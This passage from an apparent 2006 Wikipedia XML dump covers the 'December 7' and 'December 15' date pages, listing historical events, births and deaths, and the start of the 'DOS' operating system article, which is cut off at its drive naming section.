*[[1815]] - [[Michel Ney]], [[Marshal of France|Marshal]] of [[France]], is executed by [[firing squad]], after having been convicted of [[treason]] for his support of [[Napoleon I of France|Napoleon Bonaparte]].
*[[1917]] - [[World War I]]: The [[United States]] declares war on [[Austria-Hungary]].
*[[1941]] - [[World War II]]: [[Canada]] declared war on [[Finland]], [[Hungary]], [[Romania]], and [[Japan]].
*1941 - [[World War II]]: [[Attack on Pearl Harbor|Attack On Pearl Harbor]] - The [[Imperial Japanese Navy]] attacks the [[U.S. Pacific Fleet]] and its defending [[United States Army Air Corps|Army Air Corps]] and Marine air forces at [[Pearl Harbor, Hawaii]].
*[[1946]] - A fire at the [[Winecoff Hotel]] in [[Atlanta, Georgia]] kills 119 people.
*[[1949]] - [[Chinese Civil War]]: The government of the [[Republic of China]] moves from [[Nanking]] to [[Taipei]].
*[[1962]] - Prince [[Rainier III, Prince of Monaco|Rainier III]] of [[Monaco]] revises the [[principality]]'s [[Constitution of Monaco|constitution]], devolving some of his power to advisory and legislative councils.
*[[1965]] - [[Pope Paul VI]] and [[Patriarch Athenagoras]] simultaneously lift mutual [[excommunication]]s that had been in place since [[1054]].
*[[1966]]  - A fire at an army barracks in [[Erzurum]], [[Turkey]] kills 68 people.
*[[1970]] - The first ever general election on the basis of direct adult franchise are held in [[Pakistan]] for 313 National Assembly seats.
*[[1971]] - [[Pakistan]] President [[Yahya Khan]] announces formation of a Coalition Government at Centre with Nurul Amin as Prime Minister and [[Zulfiqar Ali Bhutto]] as Vice-Prime Minister.
*1971 - The [[Montreux]] [[Casino]] in [[Switzerland]] is set ablaze by someone wielding a [[flare gun]] during a [[Frank Zappa]] concert; the incident would be immortalized in the [[Deep Purple]] song &quot;[[Smoke on the Water]]&quot;.
*[[1972]] - [[Apollo 17]], the last [[Project Apollo|Apollo moon mission]], is launched. The crew take the photograph known as &quot;[[The Blue Marble]]&quot; as they leave the Earth.
*[[1975]] - [[Indonesia]] invades [[East Timor]].
*[[1982]] - In [[Texas]], [[Charles Brooks, Jr.]] becomes the first person to be [[capital punishment|executed]] by [[lethal injection]] in the [[United States]].
*[[1983]] - Two jetliners collide at [[Madrid Barajas International Airport]], [[Madrid]] killing 93 people.
*[[1987]] - [[PSA Flight 1771]] crashes near [[Paso Robles, California]], killing all 43 on board, after a disgruntled passenger shoots his ex-boss on the flight, then shoots both pilots and himself.
*[[1988]] - [[Spitak Earthquake]]: In [[Armenia]] an [[earthquake]] measuring 6.9 on the [[Richter scale]] kills nearly 25,000, injures 15,000 and leaves 400,000 homeless. 
*1988 - [[Yasser Arafat]] recognizes the right of [[Israel]] to exist.
*[[1989]] - In their third and final fight, [[Sugar Ray Leonard]] retains the [[World Boxing Council|WBC]] [[Super-Middleweight]] Championship of the World , defeating [[Roberto Duran]].
*[[1993]] -  In [[South Africa]], the [[Transitional Executive Council]] is established.
*[[1995]] - The [[Galileo spacecraft]] arrives at [[Jupiter]], a little more than six years after it was launched by [[Space Shuttle Atlantis]] during [[STS-34|Mission STS-34]].
*[[2003]] - The [[Conservative Party of Canada]] is officially recognized after the merger of the [[Canadian Alliance]] and [[Progressive Conservative Party of Canada]].
*[[2004]] - [[Hamid Karzai]] is inaugurated as [[President of Afghanistan]].
*[[2004]] - [[John Kufuor]] is re-elected as [[President of Ghana]].
*[[2005]] - [[Rigoberto Alpizar]], a passenger on [[American Airlines Flight 924]] who allegedly claimed to have a bomb, is shot and killed by a team of U.S. federal [[Federal Air Marshal Service|air marshals]] at [[Miami International Airport]].

==Births==
*[[521]] - [[Saint Columba]], Irish Christian missionary to Scotland (d. [[597]])
*[[1545]] - [[Henry Stuart, Lord Darnley]], consort of [[Mary I of Scotland]] (d. [[1567]])
*[[1561]] - [[Kikkawa Hiroie]], Japanese politician (d. [[1625]])
*[[1598]] - [[Gian Lorenzo Bernini]], Italian artist (d. [[1680]])
*[[1637]] - [[Bernardo Pasquini]], Italian composer (d. [[1710]])
*[[1670]] - [[John Aislabie]], English director of the South Sea Company (d. [[1742]])
*[[1761]] - [[Marie Tussaud]], French-born museum proprietress and waxwork modeller (d. [[1850]])
*[[1764]] - [[Claude Victor-Perrin, duc de Belluno]], French marshal (d. [[1841]])
*[[1784]] - [[Allan Cunningham]], British poet (d. [[1842]])
*[[1801]] - [[Johann Nestroy]], Austrian dramatist and actor (d. [[1862]])
*[[1810]] - [[Theodor Schwann]], German physiologist (d. [[1882]])
*1810 - [[Josef Hyrtl]], Austrian anatomist (d. [[1894]])
*[[1823]] - [[Leopold Kronecker]], German mathematician (d. [[1891]])
*[[1847]] - [[George Grossmith]], British actor and writer (d. [[1912]])
*[[1860]] - [[Sir Joseph Cook]], sixth [[Prime Minister of Australia]] (d. [[1947]])
*[[1863]] - [[Pietro Mascagni]], Italian composer (d. [[1945]])
*1863 - [[Richard Sears]], American department store founder (d. [[1914]])
*[[1873]] - [[Willa Cather]], American novelist (d. [[1947]])
*[[1879]] - [[Rudolf Friml]], American composer (d. [[1972]])
*[[1887]] - [[Ernst Toch]], Austrian composer (d. [[1964]])
*[[1888]] - [[Joyce Cary]], Irish author (d. [[1957]])
*1888 - [[Hamilton Fish]], American politician (d. [[1991]])
*[[1903]] - [[Danilo Blanuša]], Croatian mathematician (d. [[1987]])
*[[1904]] - [[Konstantin Sokolsky]], Russian singer
*[[1905]] - [[Gerard Kuiper]], Dutch-born American astronomer (d. [[1973]])
*[[1910]] - [[Louis Prima]], American musician (d. [[1978]])
*[[1912]] - [[Daniel Jones (composer)|Daniel Jones]], British composer (d. [[1993]])
*[[1915]] - [[Eli Wallach]], American actor
*[[1922]] - [[Howard Zinn]], American historian and activist
*[[1924]] - [[Mário Soares]], [[President of Portugal]]
*[[1927]] - [[Helen Watts]], British contralto
*[[1928]] - [[Noam Chomsky]], American linguist and political writer
*[[1932]] - [[Ellen Burstyn]], American actress
*[[1942]] - [[Harry Chapin]], American singer and songwriter (d. [[1981]])
*1942 - [[Peter Tomarken]], American game show host
*[[1943]] - [[Bernard C. Parks]], Chief of the Los Angeles Police Department
*[[1944]] - [[Daniel Chorzempa]], American organist
*[[1945]] - [[Marion Rung]], Finnish singer
*[[1947]] - [[Johnny Bench]], American baseball player
*1947 - [[Garry Unger]], Canadian ice hockey players
*[[1948]] - [[Gary Morris]], American singer and actor
*1948 - [[Mads Vinding]], Danish bassist
*[[1949]] - [[Tom Waits]], American singer, composer, and actor
*[[1954]] - [[Mark Hofmann]], American forger and bomber
*1954 - [[Mike Nolan (singer)|Mike Nolan]], British singer ([[Bucks Fizz]])
*[[1956]] - [[Larry Bird]], American basketball player
*[[1966]] - [[C. Thomas Howell]], American actor
*[[1967]] - [[Tino Martinez]], American baseball player
*[[1971]] - [[Vladimir Akopian]], Armenian chess player
*1971 - [[Chasey Lain]], American actress
*[[1972]] - [[Hermann Maier]], Austrian skier
*1972 - [[Tammy Lynn Sytch]], American professional wrestler
*[[1973]] - [[Terrell Owens]], American football player
*[[1974]] - [[Nicole Appleton]], Canadian-born singer
*[[1975]] - [[Jamie Clapham]], British footballer
*[[1980]] - [[John Terry]], English footballer
*[[1987]] - [[Aaron Carter]], American singer
*[[1988]] - [[Emily Browning]], Australian actress

==Deaths==
*[[43 BC]] - [[Cicero]], Roman politician and author (b. [[106 BC]])
*[[283]] - [[Pope Eutychian]]
*[[1254]] - [[Pope Innocent IV]]
*[[1279]] - King [[Boleslaus V of Poland]] (b. [[1226]])
*[[1295]] - [[Gilbert de Clare, 7th Earl of Hertford]], English politician (b. [[1243]])
*[[1498]] - [[Alexander Hegius von Heek]], German humanist
*[[1562]] - [[Adrian Willaert]], Flemish composer
*[[1632]] - Emperor [[Sissinios of Ethiopia]] (b. [[1607]])
*[[1649]] - [[Charles Garnier (missionary)|Charles Garnier]], French Jesuit missionary (b. [[1606]])
*[[1672]] - [[Richard Bellingham]], English-born Massachusetts colonial magistrate (b. [[1592]])
*[[1683]] - [[John Oldham (poet)|John Oldham]], English poet (smallpox) (b. [[1653]])
*1683 - [[Algernon Sydney]], English politician (b. [[1623]])
*[[1723]] - [[Jan Santini Aichel]], Bohemian architect (b. [[1677]])
*[[1725]] - [[Florent Carton Dancourt]], French dramatist and actor (b. [[1661]])
*[[1775]] - [[Charles Saunders (admiral)|Charles Saunders]], British admiral
*[[1793]] - [[Joseph Bara]], French revolutionary (b. [[1780]])
*[[1815]] - [[Michel Ney]], French marshall (executed) (b. [[1769]])
*[[1817]] - [[William Bligh]], British naval officer (b. [[1745]])
*[[1874]] - [[Constantin von Tischendorf]], German biblical scholar (b. [[1815]]) 
*[[1902]] - [[Thomas Nast]], German cartoonist (b. [[1840]])
*[[1906]] - [[Élie Ducommun]], Swiss journalist, recipient of the [[Nobel Peace Prize]] (b. [[1833]])
*[[1941]] - [[Isaac C. Kidd]], American rear admiral (b. [[1884]])
*[[1947]] - [[Nicholas M. Butler]], American university president, recipient of the [[Nobel Peace Prize]] (b. [[1862]])
*[[1956]] - [[Huntley Gordon]], Canadian actor (b. [[1887]])
*[[1970]] - [[Rube Goldberg]], American cartoonist (b. [[1883]])
*[[1975]] - [[Thornton Wilder]], American playwright (b. [[1897]])
*[[1978]] - [[Alexander Wetmore]], American ornithologist (b. [[1886]])
*[[1980]] - [[Darby Crash]], American punk-rock lengend (b. [[1958]])
*[[1985]] - [[Robert Graves]], British author (b. [[1895]])
*1985 - [[Potter Stewart]], U.S. Supreme Court Justice (b. [[1915]])
*[[1990]] - [[Joan Bennett]], American actress (b. [[1910]])
*[[1993]] - [[Félix Houphouët-Boigny]], [[President of Côte d'Ivoire]] (b. [[1905]])
*1993 - [[Wolfgang Paul]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1913]])
*[[1998]] - [[Martin Rodbell]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1925]])
*[[2003]] - [[Carl F. H. Henry]] American theologian and publisher (b. [[1913]])
*2003 - [[Azie Taylor Morton]], [[Treasurer of the United States]] (b. [[1936]])
*2003 - [[Raúl Vale]], Venezuelan entertainer (b. [[1944]])
*[[2004]] - [[Frederick Fennell]], American conductor (b. [[1914]])
*2004 - [[Jerry Scoggins]], American singer (b. [[1913]])
*[[2005]] - [[Bud Carson]], American football player and coach (b. [[1931]])

==Holidays and observances==
* [[Calendar of Saints|R.C. Saints]] - Saint [[Ambrose]]: Memorial
* [[Holidays of the United States|United States]] - [[Pearl Harbor Day]] (observance)
* [[International Civil Aviation Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/7 BBC: On This Day]

----

[[December 6]] - [[December 8]] - [[November 7]] - [[January 7]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:7 Desember]]
[[ar:7 ديسمبر]]
[[an:7 d'abiento]]
[[ast:7 d'avientu]]
[[bg:7 декември]]
[[be:7 сьнежня]]
[[bs:7. decembar]]
[[ca:7 de desembre]]
[[ceb:Disyembre 7]]
[[cv:Раштав, 7]]
[[co:7 di decembre]]
[[cs:7. prosinec]]
[[cy:7 Rhagfyr]]
[[da:7. december]]
[[de:7. Dezember]]
[[et:7. detsember]]
[[el:7 Δεκεμβρίου]]
[[es:7 de diciembre]]
[[eo:7-a de decembro]]
[[eu:Abenduaren 7]]
[[fo:7. desember]]
[[fr:7 décembre]]
[[fy:7 desimber]]
[[gl:7 de decembro]]
[[ko:12월 7일]]
[[hr:7. prosinca]]
[[io:7 di decembro]]
[[id:7 Desember]]
[[ia:7 de decembre]]
[[is:7. desember]]
[[it:7 dicembre]]
[[he:7 בדצמבר]]
[[jv:7 Desember]]
[[ka:7 დეკემბერი]]
[[csb:7 gòdnika]]
[[ku:7'ê berfanbarê]]
[[la:7 Decembris]]
[[lt:Gruodžio 7]]
[[lb:7. Dezember]]
[[hu:December 7]]
[[mk:7 декември]]
[[ms:7 Disember]]
[[nap:7 'e dicembre]]
[[nl:7 december]]
[[ja:12月7日]]
[[no:7. desember]]
[[nn:7. desember]]
[[oc:7 de decembre]]
[[pl:7 grudnia]]
[[pt:7 de Dezembro]]
[[ro:7 decembrie]]
[[ru:7 декабря]]
[[se:Juovlamánu 7.]]
[[sco:7 December]]
[[sq:7 Dhjetor]]
[[scn:7 di dicèmmiru]]
[[simple:December 7]]
[[sk:7. december]]
[[sl:7. december]]
[[sr:7. децембар]]
[[fi:7. joulukuuta]]
[[sv:7 december]]
[[tl:Disyembre 7]]
[[tt:7. Dekäber]]
[[te:డిసెంబర్ 7]]
[[th:7 ธันวาคม]]
[[vi:7 tháng 12]]
[[tr:7 Aralık]]
[[uk:7 грудня]]
[[wa:7 di decimbe]]
[[war:Disyembre 7]]
[[zh:12月7日]]
[[pam:Disiembri 7]]</text>
    </revision>
  </page>
  <page>
    <title>December 15</title>
    <id>8145</id>
    <revision>
      <id>42011377</id>
      <timestamp>2006-03-03T05:10:48Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed redundant year link</comment>
      <text xml:space="preserve">'''[[December 15]]''' is the 349th day of the year (350th in [[leap year]]s) in the [[Gregorian calendar]].  There are 16 days remaining.

{{DecemberCalendar}}

==Events==
*[[1290 BC]] - [[Seti I]], [[Pharaoh]] of [[Egypt]] dies. [[Ramesses II]] becomes [[Pharaoh]] of [[Egypt]].
*[[533]] - The [[Battle of Ticameron]] takes place between the armies of the [[Vandals]], commanded by King [[Gelimer]] and the eastern [[Roman Empire]] under the command of [[General Belisarius]].
*[[687]] - [[Pope Sergius I|St. Sergius I]] becomes [[Pope]].
*[[1256]] - [[Hulagu Khan]] captures and destroys the [[Hashshashin]] stronghold at [[Alamut]] in present-day [[Iran]] as part of the [[Mongol]] offensive on Islamic southwest Asia.
*[[1791]] - The [[United States Bill of Rights]] becomes law when ratified by the [[Virginia]] legislature.
*[[1891]] - [[James Naismith]] introduces the first version of [[basketball]], with thirteen rules, a peach basket nailed to either end of his school's gymnasium, and two teams of nine players.
*[[1913]] - [[Nicaragua]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1939]] - ''[[Gone with the Wind (film)|Gone with the Wind]]'' premiers in [[Atlanta, Georgia]].
*[[1945]] - [[Occupation of Japan]]: General [[Douglas MacArthur]] orders that [[Shinto]] be abolished as state religion of [[Japan]].
*[[1960]] - King [[Baudouin of Belgium]] marries [[Queen Fabiola of Belgium|Fabiola Fernanda María de las Victorias Antonia Adelaida de Mora y Aragón]] in [[Brussels]].
*[[1961]] - In [[Jerusalem]], [[Adolph Eichmann]] is sentenced to death after being found guilty of 15 criminal charges, including charges of crimes against humanity, crimes against the Jewish people and membership of an outlawed organization.
*[[1965]] - [[Gemini program]]: [[Gemini 6A]], crewed by [[Wally Schirra]] and [[Thomas Stafford]], is launched from [[Cape Canaveral|Cape Kennedy]], [[Florida]].  Also the release of [[The Sound of Music]].
*[[1976]] - [[Samoa]] becomes a member of the [[UN]].
*[[1993]] - [[History of Northern Ireland]]:The [[Downing Street Declaration]] is issued by British [[Prime Minister of the United Kingdom|Prime Minister]] [[John Major]] and Irish [[Taoiseach]] [[Albert Reynolds]].
*[[1994]] - The [[web browser]] [[Netscape Navigator]] 1.0 is released.
*1994 - [[Palau]] becomes a member of the [[UN]].
*[[1995]] - The [[European Communities Court of Justice]] passes the &quot;[[Bosman ruling]]&quot;, giving [[EU]] footballers the right to a free transfer at the end of their contracts, with the provision that they are transferring from one [[UEFA]] Federation to another.
*[[1997]] - A chartered [[Tupolev]] TU-154 from [[Tajikistan]] crashes in the desert near Sharja, [[United Arab Emirates]] airport killing 85.
*[[2002]] - The [[Digital_audio_broadcasting|digital radio station]] [[BBC7]] is launched by the comedian [[Paul Merton]].
*[[2005]] - The 43rd known [[Mersenne prime]] is discovered by [[Dr. Curtis Cooper]] &amp; [[Dr. Steven Boone]] of [[USA]], participants of the [[GIMPS]] [[distributed computing]] project. The [[prime number]] is the largest known Mersenne prime at the time of its discovery, and is more than nine [[million]] [[digit]]s long.
*2005 - Ten million Iraqis participate in their [[Iraqi legislative election, December 2005|first democratic election]].
*2005 - Latvia edits its [[constitution]] to ban [[social equality|equal marriage rights]] to [[gay|gays]] and [[lesbian|lesbians]].
*2005 - Argentina's president [[Néstor Kirchner]] announces the cancellation of the external debt to the [[IMF]].

==Births==

*[[37]] - [[Nero]], Roman Emperor of the [[Julio-Claudian dynasty]] (d. [[68]])
*[[1859]] - [[L. L. Zamenhof]], Russian initiator of [[Esperanto]] (d. [[1917]])
*[[1860]] - [[Niels Ryberg Finsen]], Danish physician and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1904]])
*[[1861]] - [[Charles Duryea]], American automobile pioneer (d. [[1938]])
*[[1878]] - [[Hans Carossa]], German writer (d. [[1956]])
*[[1888]] - [[Maxwell Anderson]], American writer (d. [[1959]])
*[[1892]] - [[J. Paul Getty]], American oil tycoon (d. [[1976]])
*[[1899]] - [[Harold Abrahams]], British sprinter and Olympic gold medalist (d. [[1978]])
*[[1907]] - [[Oscar Niemeyer]], Brazilian architect
*[[1910]] - [[John H. Hammond]], American musician and record producer (d. [[1987]])
*[[1912]] - [[Ray Eames]], American designer (d. [[1988]])
*1912 - [[Stan Kenton]], American musician (d. [[1979]])
*[[1913]] - [[Muriel Rukeyser]], American poet (d. [[1980]])
*[[1916]] - [[Buddy Cole (musician)|Buddy Cole]], American pianist (d. [[1964]])
*1916   - [[Maurice Wilkins]], New Zealand-born physicist and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[2004]])
*[[1918]] - [[Jeff Chandler (actor)|Jeff Chandler]], American actor (d. [[1961]])
*[[1922]] - [[Alan Freed]], American disc jockey (d. [[1965]])
*[[1923]] - [[Freeman Dyson]], English-born American physicist
*[[1928]] - [[Friedensreich Hundertwasser]], Austrian artist (d. [[2000]])
*[[1933]] - [[Tim Conway]], American actor and comedian
*[[1938]] - [[Billy Shaw]], American football player
*[[1939]] - [[Cindy Birdsong]], American singer ([[The Supremes]])
*[[1942]] - [[Dave Clark (musician)|Dave Clark]], British drummer ([[The Dave Clark Five]])
*[[1949]] - [[Don Johnson]], American actor
*[[1952]] - [[Cassandra Harris]], Australian actress (d. [[1991]])
*1952  - [[Julie Taymor]], American theater, opera, and film director
*[[1955]] - [[Paul Simonon]], British bassist ([[The Clash]])
*[[1961]] - [[Karin Resetarits]], Austrian journalist and politician
*[[1967]] - [[Mo Vaughn]], American baseball player
*[[1968]] - [[Javid Hussain]], Indian film producer
*1968 - [[Garrett Wang]], American actor
*[[1970]] - [[Michael Shanks]], Canadian actor
*1970 - [[Frankie Dettori]], Italian champion jockey
*[[1972]] - [[Stuart Townsend]], Irish actor
*[[1973]] - [[Surya Bonaly]], French-born American figure skater
*[[1976]] - [[Baichung Bhutia]], Indian footballer
*[[1979]] - [[Adam Brody]], American actor
*1979 - [[Eric Young]], Canadian professional wrestler
*[[1981]] - [[Thomas Herrion]], American football player (d. [[2005]])

==Deaths==
*[[1025]] - [[Basil II]], [[Byzantine Emperor]] (b. [[958]])
*[[1072]] - [[Alp Arslan]], Turkish sultan in Persia (b. [[1029]])
*[[1263]] - King [[Haakon IV of Norway]] (b. [[1204]])
*[[1598]] - [[Philips van Marnix, lord of Sint-Aldegonde]], Dutch writer and statesman (b. [[1538]])
*[[1621]] - [[Charles de Luynes]], Constable of France (b. [[1578]])
*[[1673]] - [[Margaret Cavendish]], English writer (b. [[1623]])
*[[1675]] - [[Johannes Vermeer]], Dutch painter (b. [[1632]])
*[[1683]] - [[Izaak Walton]], English writer (b. [[1593]])
*[[1688]] - [[Gaspar Fagel]], Dutch statesman (b. [[1634]])
*[[1715]] - [[George Hickes]], English minister and scholar (b. [[1642]])
*[[1753]] - [[Richard Boyle, 3rd Earl of Burlington]], English architect (b. [[1694]])
*[[1792]] - [[Joseph Martin Kraus]], Swedish composer (b. [[1756]])
*[[1890]] - [[Sitting Bull]], Sioux nation leader (b. circa [[1831]])
*[[1943]] - [[Fats Waller]], American musician (b. [[1904]])
*[[1947]] - [[Arthur Machen]], British author (b. [[1863]])
*[[1958]] - [[Wolfgang Ernst Pauli]], Austrian-born American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1900]])
*[[1966]] - [[Walt Disney]], American animator (b. [[1901]])
*[[1968]] - [[Jess Willard]], American boxer and World [[Heavyweight]] Champion (b. [[1881]])
*[[1975]] - [[Anatole Litvak]], Russian-born filmmaker (b. [[1902]])
*[[1984]] - [[Jan Peerce]], American tenor (b. [[1904]])
*1984 - [[Lennard Pearce]], British actor (b. [[1915]]) 
*[[1989]] - [[Arnold Moss]], American character actor  (b. [[1910]])
*[[1991]] - [[Vasily Grigoryevich Zaitsev]], Russian-born Soviet sniper (b. [[1915]])
*[[2001]] - [[Russ Haas]], American professional wrestler (b. [[1974]])
*2001 - [[Rufus Thomas]], American musician (b. [[1917]])
*[[2003]] - [[George Fisher (cartoonist)|George Fisher]], American political cartoonist (b. [[1923]])
*[[2005]] - [[William Proxmire]], U.S. Senator from Wisconsin (b. [[1911]])
*2005 - [[Darrell Russell (football player)|Darrell Russell]], American football player (b. [[1976]])

==Holidays and observances==

* [[Roman festivals]] - [[Consualia]] in honor of [[Consus]] is held.
* [[Calendar of Saints|R.C. Saints]] - [[St. Valerian (Abbenza)|St. Valerian]]; [[Saint Wunibald]] of [[Heidenheim]].
* [[United States]] - Bill of Rights Day, in honor of the ratification of the [[United States Bill of Rights]] in [[1791]].
* [[Zamenhof Day]] celebrated in the [[Esperanto]] movement in honor of [[L. L. Zamenhof]], the creator of Esperanto.

== External links ==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/15 BBC: On This Day]

----

[[December 14]] - [[December 16]] - [[November 15]] - [[January 15]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:15 Desember]]
[[ar:15 ديسمبر]]
[[an:15 d'abiento]]
[[ast:15 d'avientu]]
[[bg:15 декември]]
[[be:15 сьнежня]]
[[bs:15. decembar]]
[[br:15 Kerzu]]
[[ca:15 de desembre]]
[[ceb:Disyembre 15]]
[[cv:Раштав, 15]]
[[co:15 di decembre]]
[[cs:15. prosinec]]
[[cy:15 Rhagfyr]]
[[da:15. december]]
[[de:15. Dezember]]
[[et:15. detsember]]
[[el:15 Δεκεμβρίου]]
[[es:15 de diciembre]]
[[eo:15-a de decembro]]
[[eu:Abenduaren 15]]
[[fo:15. desember]]
[[fr:15 décembre]]
[[fy:15 desimber]]
[[ga:15 Nollaig]]
[[gl:15 de decembro]]
[[ko:12월 15일]]
[[hr:15. prosinca]]
[[io:15 di decembro]]
[[id:15 Desember]]
[[ia:15 de decembre]]
[[is:15. desember]]
[[it:15 dicembre]]
[[he:15 בדצמבר]]
[[jv:15 Desember]]
[[ka:15 დეკემბერი]]
[[csb:15 gòdnika]]
[[ku:15'ê berfanbarê]]
[[la:15 Decembris]]
[[lt:Gruodžio 15]]
[[lb:15. Dezember]]
[[hu:December 15]]
[[mk:15 декември]]
[[ms:15 Disember]]
[[nap:15 'e dicembre]]
[[nl:15 december]]
[[ja:12月15日]]
[[no:15. desember]]
[[nn:15. desember]]
[[oc:15 de decembre]]
[[pl:15 grudnia]]
[[pt:15 de Dezembro]]
[[ro:15 decembrie]]
[[ru:15 декабря]]
[[se:Juovlamánu 15.]]
[[sco:15 December]]
[[sq:15 Dhjetor]]
[[scn:15 di dicèmmiru]]
[[simple:December 15]]
[[sk:15. december]]
[[sl:15. december]]
[[sr:15. децембар]]
[[fi:15. joulukuuta]]
[[sv:15 december]]
[[tl:Disyembre 15]]
[[tt:15. Dekäber]]
[[te:డిసెంబర్ 15]]
[[th:15 ธันวาคม]]
[[vi:15 tháng 12]]
[[tr:15 Aralık]]
[[uk:15 грудня]]
[[wa:15 di decimbe]]
[[war:Disyembre 15]]
[[zh:12月15日]]
[[pam:Disiembri 15]]</text>
    </revision>
  </page>
  <page>
    <title>DOS</title>
    <id>8146</id>
    <revision>
      <id>42088187</id>
      <timestamp>2006-03-03T19:21:18Z</timestamp>
      <contributor>
        <username>Alexwcovington</username>
        <id>37752</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Otheruses4|the family of closely related operating systems for the IBM PC compatible platform|DOS as an acronym for Disk Operating System|Disk operating system}} {{For|the similarly-named operating for the System/360|DOS/360}} {{otheruses}}

'''DOS''' commonly refers to the family of closely related operating systems which dominated the [[IBM PC compatible]] market between 1981 and 1995 (or until about 2000, if you include Windows 9X) : [[PC-DOS]], [[MS-DOS]], [[FreeDOS]], [[DR-DOS]], [[Novell-DOS]], [[OpenDOS]], [[PTS-DOS]], [[ROM-DOS]] and several others. Of these, MS-DOS from [[Microsoft]] was the most widely used. These operating systems ran on [[IBM PC]] type hardware using the [[Intel]] [[x86]] [[CPU]]s or their compatible cousins from other makers.

[[Image: Msdos.gif|right|thumb|250px|This screen shows the help information for the often used MS-DOS &lt;tt&gt;dir&lt;/tt&gt; command.]]

== History ==
MS-DOS (and the IBM PC-DOS which was licensed therefrom), and its predecessor, [[QDOS]], was an imitation of [[CP/M]] ('''C'''ontrol '''P'''rogram / (for) '''M'''icrocomputers)&amp;mdash;which was the dominant operating system for 8-bit [[Intel 8080]] and [[Zilog]] [[Zilog Z-80|Z80]] based microcomputers.

It was first developed at [[Seattle Computer Products]] by Tim Patterson as a variant of [[CP/M-80]] from [[Digital Research]], but intended as an internal product for testing SCP's new [[8086]] [[Central processing unit|CPU]] card for the [[S-100 bus]]. It did not run on the 8080 (or compatible) CPU needed for CP/M-80. It was called [[QDOS]], among several other names. Microsoft licensed it from SCP, made changes and licensed the result to IBM (sold as [[PC-DOS]]) for its new 'PC' using the 8088 CPU (internally the same as the 8086), and to many other hardware manufacturers. In the later case it was sold as [[MS-DOS]]. 

[[Digital Research]] produced a compatible variant known as &quot;[[DR-DOS]]&quot;, which was eventually taken over (after a buyout of Digital Research) by [[Novell]]. This became &quot;[[OpenDOS]]&quot; for a while after the relevant division of Novell was sold to [[Caldera International]], now called [[SCO Group|SCO]]. Later, the embedded division of Caldera was &quot;spun off&quot; as Lineo (later renamed Embedix), who in turn sold DR-DOS to a start-up called Device Logics, who now seem to call themselves DRDOS, Inc.

There is also a [[free software|free]] alternative named &quot;[[FreeDOS]]&quot;.

DOS was one of the first operating systems for the ''PC compatible'' platform, and the first on that platform to gain widespread use (it was still widespread more than 10 years later). This was a quick and messy affair (the variant MS-DOS, sometimes colloquially referred to as ''Messy DOS'', was developed from [[QDOS]], which literally meant &quot;Quick and Dirty Operating System&quot;).

[[IBM-PC]]s were only distributed with PC-DOS, whereas [[PC compatible]] computers from nearly all other manufacturers were distributed with MS-DOS. For the early years of this operating system family, PC-DOS was almost identical to MS-DOS. More recently, free versions of DOS such as [[FreeDOS]] and [[OpenDOS]] have started to appear.

Early versions of [[Microsoft Windows]] were little more than a graphical [[Operating system shell|shell]] for DOS, and later versions of Windows were tightly integrated with MS-DOS. It is also possible to run DOS programs under [[OS/2]] and [[Linux]] using virtual-machine emulators.

Because of the long existence and ubiquity of DOS in the world of the PC-compatible platform (DOS compatible programs were made well into the 90's), DOS was often considered to be the native [[operating system]] of the ''PC compatible'' platform.

==Accessing hardware under DOS==
The operating system offered a [[hardware abstraction layer]] that although adequate for developing character-based applications was woefully inadequate for accessing most of the [[computer hardware|hardware]] (such as the graphics hardware). This led to application programmers accessing the hardware directly. The result of this was that each application would have to have a set of [[device driver]]s written for it to use the various types of hardware on offer (different [[computer printer|printer]]s, etc.), and when some new hardware was released, the hardware manufacturers would have to make sure that device drivers for their hardware for the popular applications became available.

==DOS and other PC operating systems==
&lt;!-- Could someone please explain which branches of the Windows family (eg. NT) fits where in relation to DOS --&gt;
Early versions of [[Microsoft Windows]] were &quot;shell-type&quot; programs that ran under DOS.  Later versions were launched under DOS but &quot;extended&quot; it by going into protected mode.  Still later versions of MS Windows ran independently of DOS but included much of the old code such that it could run in [[virtual machine]]s under the new OS and the latest versions of MS Windows are continually dropping ever more of the DOS ancestry.  [[Windows Me]] was the last Microsoft OS to run on DOS; operating systems in the [[Windows NT]] line (including the post-NT 4.0 versions, such as [[Windows 2000]] and [[Windows XP]], which aren't marketed as &quot;Windows NT&quot;) are not based on DOS.

Under [[Linux]] (running on [[x86]]-based systems) it's possible to run copies of DOS and many of its clones under ''[[dosemu]]'' (a Linux native virtual machine program for running [[real mode]] programs).  There are a number of other emulators for running DOS and/or DOS-based software under various versions of UNIX, even on non-x86 platforms; one such emulator is [[DOSBox]].
&lt;!-- What about OS/2? --&gt;

==Reserved device names under DOS==
There are reserved device names in DOS that cannot be used as filenames regardless of extension; these restrictions also affect several Windows versions, in some cases causing crashes and security vulnerabilities.

A partial list of these reserved names is: AUX, COM, COM0, COM1, COM2, COM3, ..., COM8, COM9, CON, LPT1, LPT2, and PRN.

The NUL filename is special, it redirects to a null file.  It could be said that is equivalent to UNIX's [[/dev/null]], but there are some differences, as it does not exactly behave like its UNIX cousin.  Is best suited for being used on batch files, for redirecting unneeded output. Naming a file as NUL, regardless of extension, could cause unpredictable behavior on most programs.  Some of them complain, saying that NUL is a DOS reserved filename, others, &quot;save&quot; the file (but as NUL represents a null file, whatever the program saved is lost), and others will hang or leave the computer in an inconsistent state, and a [[reboot]] may be needed.

==Drive naming scheme==
